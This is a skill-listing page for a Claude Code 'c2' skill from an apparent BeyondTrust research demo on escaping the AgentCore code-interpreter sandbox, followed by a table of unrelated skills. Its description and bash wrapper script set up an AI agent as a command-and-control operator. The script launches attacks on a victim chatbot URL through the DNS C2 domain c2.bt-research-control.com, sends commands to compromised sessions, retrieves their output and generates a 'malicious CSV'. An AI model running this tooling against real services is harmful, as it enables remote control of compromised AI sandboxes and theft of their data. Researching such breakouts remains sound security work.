BeyondTrust/pwning-agentcore-code-interpreter / .claude/skills/c2
c2
VerifiedDNS C2 operator skill for the AgentCore sandbox breakout demo. This skill should be used when the user asks to run C2 verification, attack a victim chatbot, send commands to a compromised session, retrieve exfiltrated data, or interact with the DNS C2 system.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 3.4 KB |
| scripts/c2.shexecutable | script | 1.9 KB |
scripts/c2.sh
View on GitHub#!/bin/bash
# C2 Automation Script for Claude Code
# This script wraps the c2 CLI commands for easier automation
set -e
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../../../.." && pwd)"
ATTACKER_DIR="$PROJECT_ROOT/attacker-infra"
# Source environment
cd "$ATTACKER_DIR"
if [ -f set_env_vars.sh ]; then
source set_env_vars.sh
fi
ACTION="${1:-help}"
shift || true
case "$ACTION" in
attack)
# Launch attack against target
TARGET="$1"
if [ -z "$TARGET" ]; then
echo "Usage: c2.sh attack <target_url>"
exit 1
fi
uv run c2 attack "$TARGET" --c2-domain "${DOMAIN:-c2.bt-research-control.com}"
;;
send)
# Send command to session
COMMAND="$1"
SESSION="$2"
if [ -z "$COMMAND" ] || [ -z "$SESSION" ]; then
echo "Usage: c2.sh send <command> <session_id>"
exit 1
fi
uv run c2 send "$COMMAND" --session "$SESSION"
;;
receive)
# Receive output from session
SESSION="$1"
if [ -z "$SESSION" ]; then
echo "Usage: c2.sh receive <session_id>"
exit 1
fi
uv run c2 receive --session "$SESSION"
;;
generate)
# Generate malicious CSV
uv run c2 generate-csv "$@"
;;
status)
# Check C2 server status
uv run c2 status
;;
help|*)
echo "C2 Automation Script"
echo ""
echo "Usage: c2.sh <action> [args]"
echo ""
echo "Actions:"
echo " attack <url> Launch attack against target URL"
echo " send <cmd> <session> Send command to session"
echo " receive <session> Receive output from session"
echo " generate Generate malicious CSV"
echo " status Check C2 server status"
echo ""
;;
esac
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| reverse-engineer-anythingmorluto/reaReverse engineer native, managed, Electron/JavaScript, packaged, firmware, and browser targets with REA, and build agent environments (AgentEnv bundles) of web applications from a live instance or a capture, and of Linux desktop apps with a task from a request. Use shipped-artifact or requested runtime evidence to explain features, compare versions, decompile code, or guide a reconstruction. Skip REA for ordinary source-repository architecture analysis. | Stars: 468k | Updated | Claude CodeCodex | Verified | Install |
| diagnosing-superpowersobra/superpowersUse when a superpowers session went wrong and your human partner wants to know why — repeated work, ignored plans, stumbles, poor results, a skill that didn't fire, "it took too long", "why is it so expensive", "what is it doing" — or wants to build a bug report for the superpowers maintainers, for the current session or a past one identified by id or path, on any harness. | Stars: 321k | Updated | Claude CodeCodex | Verified | Install |
| dispatching-parallel-agentsobra/superpowersUse when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies | Stars: 321k | Updated | Claude CodeCodex | Verified | Install |
| executing-plansobra/superpowersUse when executing an implementation plan in the current session as the implementer yourself — your human partner chose inline execution, or no subagent tool is available | Stars: 321k | Updated | Claude CodeCodex | Verified | Install |